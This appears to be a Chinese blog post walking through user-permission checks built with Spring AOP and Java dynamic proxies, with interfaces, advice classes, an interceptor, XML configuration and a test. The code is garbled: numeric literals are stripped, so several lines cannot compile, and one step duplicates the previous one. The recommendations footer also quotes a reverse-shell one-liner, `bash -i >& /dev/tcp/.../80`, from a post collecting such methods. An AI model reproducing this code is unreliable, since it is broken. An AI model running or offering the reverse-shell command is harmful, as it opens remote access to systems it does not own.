java动态代理机制的功能十分强大,使用动态代理技术能够有效的降低应用中各个对象之间的耦合紧密程度,提高开发的效率以及程序的可维护性,事实上Spring AOP就是建立在Java动态代理的基础之上。其实AOP、IOC、动态代理、序列化等技术与设计思想都是结合在一起使用的,要想做好一个功能强大齐全的系统,这些技术搜需要我们取学习整合的。

开始搬砖

1.创建接口去让我们的实体类去实现其中的方法及属性,也就是我们的用户权限

package com.icommon.aoptest;

public interface AopInterface {
Integer getAopId(); void setAopId(Integer aopid);
}
package com.icommon.aoptest;

public class UserCommonInfo implements AopInterface {//实现AopInterface接口,后续将权限参数直接注入到接口中,这样实体类获取到也是该权限值

    @Override
public String toString() {
return "User [id=" + id + ", name=" + name + ", age=" + age + ", aopId=" + aopId + "]";
} private Integer id;
private String name;
private Integer age;
private Integer aopId; public Integer getId() {
return id;
} public void setId(Integer id) {
this.id = id;
} public String getName() {
return name;
} public void setName(String name) {
this.name = name;
} public Integer getAge() {
return age;
} public void setAge(Integer age) {
this.age = age;
} public Integer getAopId() {
return aopId;
} public void setAopId(Integer aopid) {
this.aopId = aopid;
} }

2.实现MethodInterceptor 为Spring AOP完成注入通知

package com.icommon.aoptest;

import org.aopalliance.intercept.MethodInvocation;

public interface ServiceBeforeAdvice {
void handler(MethodInvocation invocation);
}

3.AOPAdvice实现ServiceBeforeAdvice作为整个参数调度的类

package com.icommon.aoptest;

import org.aopalliance.intercept.MethodInvocation;

import com.icommon.exception.OPMException;

public abstract class AopAdvice implements ServiceBeforeAdvice {

    @Override
public void handler(MethodInvocation invocation) {
String name = "Tom";
if(needIntercept(name,invocation)){
handler(name,invocation);
} } public abstract boolean needIntercept(String name, MethodInvocation invocation); public abstract void handler(String name, MethodInvocation invocation); protected static void initVpnId(String name, AopInterface bean){
if(name.equals("Tom")){
bean.setAopId();
}
} protected static void checkVPNAuthority(String name, AopInterface bean){
String text = "not equel!!!";
Integer aopId = bean.getAopId();
if(aopId != ){
throw new OPMException(text);
}
} }

4.添加通知ADDAdvice

package com.icommon.aoptest;

import java.lang.reflect.Method;

import org.aopalliance.intercept.MethodInvocation;

public class AddAdvice extends AopAdvice{
public static final AddAdvice INSTANCE = new AddAdvice();
private static Method SEND_ONE_COMMAND_METHOD = null;
private AddAdvice(){
}
@Override
public boolean needIntercept(String name, MethodInvocation invocation) {
if (invocation.getMethod() !=SEND_ONE_COMMAND_METHOD && invocation.getArguments()[] instanceof AopInterface) {
OperationEnum ope = (OperationEnum) invocation.getArguments()[];
if (ope == OperationEnum.ADD) {
return true;
}
}
return false;
} @Override
public void handler(String name, MethodInvocation invocation) {
AopInterface bean = (AopInterface) invocation.getArguments()[];
initVpnId(name, bean);
} }

5.注册实例,这里可采用单例,在服务启动时只允许有一个此实例

package com.icommon.aoptest;

import java.lang.reflect.Method;

import org.aopalliance.intercept.MethodInvocation;

public class AddAdvice extends AopAdvice{
public static final AddAdvice INSTANCE = new AddAdvice();
private static Method SEND_ONE_COMMAND_METHOD = null;
private AddAdvice(){
}
@Override
public boolean needIntercept(String name, MethodInvocation invocation) {
if (invocation.getMethod() !=SEND_ONE_COMMAND_METHOD && invocation.getArguments()[] instanceof AopInterface) {
OperationEnum ope = (OperationEnum) invocation.getArguments()[];
if (ope == OperationEnum.ADD) {
return true;
}
}
return false;
} @Override
public void handler(String name, MethodInvocation invocation) {
AopInterface bean = (AopInterface) invocation.getArguments()[];
initVpnId(name, bean);
} }

6.封装一些常量

package com.icommon.aoptest;

public enum OperationEnum {
ADD, DEL
}

7.进行通知

package com.icommon.aoptest;

import java.util.ArrayList;
import java.util.List; import org.aopalliance.intercept.MethodInterceptor;
import org.aopalliance.intercept.MethodInvocation; public class AopProxyFactoryBean implements MethodInterceptor{
private static List<ServiceBeforeAdvice> advices = new ArrayList<ServiceBeforeAdvice>(); public static void registe(ServiceBeforeAdvice advice) {
if (!advices.contains(advice)) {
advices.add(advice); }
} @Override
public Object invoke(MethodInvocation invocation) throws Throwable { Object obj = invocation.proceed();
for(ServiceBeforeAdvice advice:advices){
advice.handler(invocation);
} return obj;
}
}

9.配置信息

<?xml version="1.0"?>
<!DOCTYPE beans PUBLIC "-//SPRING//DTD BEAN//EN"
"http://www.springframework.org/dtd/spring-beans.dtd">
<beans>
<bean id ="aopProxyFactoryBean" class="com.icommon.aoptest.AopProxyFactoryBean"/>
<bean id ="userService" class="com.icommon.serviceimpl.UserManagerImpl"/>
<bean id ="test" class="org.springframework.aop.framework.ProxyFactoryBean">
<property name="interceptorNames">
<list>
<value>aopProxyFactoryBean</value>
</list>
</property>
<property name="target" ref="userService"></property>
<property name="proxyTargetClass" value="true"></property>
</bean>
</beans>

10.测试(模拟服务启动、实体类参数赋值)

package com.icommon.aoptest;

import org.springframework.context.ApplicationContext;
import org.springframework.context.support.ClassPathXmlApplicationContext; import com.icommon.service.UserManager; public class TestAop {
@SuppressWarnings("resource")
public static void main(String[] args) {
Integer id = ;
String name = "Susan";
Integer age = ;
UserCommonInfo user = new UserCommonInfo();
user.setId(id);
user.setName(name);
user.setAge(age);
StartInitDate.registeAdvice();
ApplicationContext cx = new ClassPathXmlApplicationContext("bean.xml");
UserManager useripm = (UserManager) cx.getBean("test");
useripm.addUser(OperationEnum.ADD, user);
System.out.println("AOP "+user.toString());
}
}

11,运行结果
UserUser [id=2, name=Susan, age=16, aopId=null]
AOP User [id=2, name=Susan, age=16, aopId=12]

AOP面向切面编程JAVA动态代理实现用户权限管理(实现篇)的更多相关文章

  1. JAVA AOP面向切面编程与动态代理

    1.静态代理和动态代理的概念:   在我的另一篇博文:Java 静态代理和动态代理 中有讲到,这里就不做赘述了. JDK动态代理它的好处理是可以为我们生成任何一个接口的代理类,并将需要增强的方法织入到 ...

  2. AOP面向切面的基石——动态代理(一)

    其实动态代理在Java里不是什么新技术了,早在java 1.2之后便通过 java.lang.reflect.InvocationHandler 加入了动态代理机制. 下面例子中,LancerEvol ...

  3. java aop面向切面编程

    最近一直在学java的spring boot,一直没有弄明白aop面向切面编程是什么意思.看到一篇文章写得很清楚,终于弄明白了,原来跟python的装饰器一样的效果.http://www.cnblog ...

  4. [转] AOP面向切面编程

    AOP面向切面编程 AOP(Aspect-Oriented Programming,面向切面的编程),它是可以通过预编译方式和运行期动态代理实现在不修改源代码的情况下给程序动态统一添加功能的一种技术. ...

  5. 【原创】Android AOP面向切面编程AspectJ

    一.背景: 在项目开发中,对 App 客户端重构后,发现用于统计用户行为的友盟统计代码和用户行为日志记录代码分散在各业务模块中,比如在视频模块,要想实现对用户对监控点的实时预览和远程回放行为进行统计, ...

  6. Spring:AOP面向切面编程

    AOP主要实现的目的是针对业务处理过程中的切面进行提取,它所面对的是处理过程中的某个步骤或阶段,以获得逻辑过程中各部分之间低耦合性的隔离效果. AOP是软件开发思想阶段性的产物,我们比较熟悉面向过程O ...

  7. Spring Boot2(六):使用Spring Boot整合AOP面向切面编程

    一.前言 众所周知,spring最核心的两个功能是aop和ioc,即面向切面和控制反转.本文会讲一讲SpringBoot如何使用AOP实现面向切面的过程原理. 二.何为aop ​ aop全称Aspec ...

  8. Spring 08: AOP面向切面编程 + 手写AOP框架

    核心解读 AOP:Aspect Oriented Programming,面向切面编程 核心1:将公共的,通用的,重复的代码单独开发,在需要时反织回去 核心2:面向接口编程,即设置接口类型的变量,传入 ...

  9. AOP 面向切面编程, Attribute在项目中的应用

    一.AOP(面向切面编程)简介 在我们平时的开发中,我们一般都是面对对象编程,面向对象的特点是继承.多态和封装,我们的业务逻辑代码主要是写在这一个个的类中,但我们在实现业务的同时,难免也到多个重复的操 ...

随机推荐

  1. 反弹shell以及端口转发的方法收集

    Bash bash -i >& /dev/tcp/192.168.1.142/80 0>&1 exec 5<>/dev/tcp/192.168.1.142/80 ...

  2. 【HNOI 2017】影魔

    Problem Description 影魔,奈文摩尔,据说有着一个诗人的灵魂.事实上,他吞噬的诗人灵魂早已成千上万.千百年来,他收集了各式各样的灵魂,包括诗人.牧师.帝王.乞丐.奴隶.罪人,当然,还 ...

  3. j2ee课程设计—基于activiti的请休假系统

    前言 课设基于SSM框架,数据库采用mysql,主要业务交给activiti,版本控制利用github. 参考资料: Intellij 部署SSM框架 Activiti就是这么简单 方大师的教材 下文 ...

  4. pip安装报错

    ERROR: Microsoft Visual C++ 9.0 is required (Unable to find vcvarsall.bat) python通过pip或者源码来安装某些模块时,这 ...

  5. Jvm类的加载机制

    1.概述 虚拟机加载Class文件(二进制字节流)到内存,并对数据进行校验.转换解析和初始化,最终形成可被虚拟机直接使用的Java类型,这一系列过程就是类的加载机制. 2.类的加载时机 类从被虚拟机加 ...

  6. 获取访问者IP

    在一般情况下使用Request.getRemoteAddr()即可,但是经过nginx等反向代理软件后,这个方法会失效.     * 本方法先从Header中获取X-Real-IP,如果不存在再从X- ...

  7. YARN详解

    1.1      分布式资源调度框架 1.2.1          yarn的概念 Apache Hadoop YARN (Yet Another Resource Negotiator,另一种资源协 ...

  8. 数据库-left join,right join,inner join,full join

    2019-04-18 22:36:26 sql中的连接查询有inner join(内连接).left join(左连接).right join(右连接).full join(全连接)四种方式,它们之间 ...

  9. 基于apache的虚拟主机

    apche支持3种类型虚拟主机: 基于IP的虚拟主机 基于端口的虚拟主机 基于主机名的虚拟主机 配置两个站点虚拟主机: /data/web1 /data/web2 一.基于IP虚拟主机 添加一个IP: ...

  10. QT qss资源文件与代码分离

    在最近的Qt相关项目开发中,有不同客户提出更改logo图片的需求,每次更换一张图片需要重新添加到.qrc资源文件,并重新编译源代码生产可执行文件,操作效率极低,频繁修改源代码也 容易引起其他不可靠问题 ...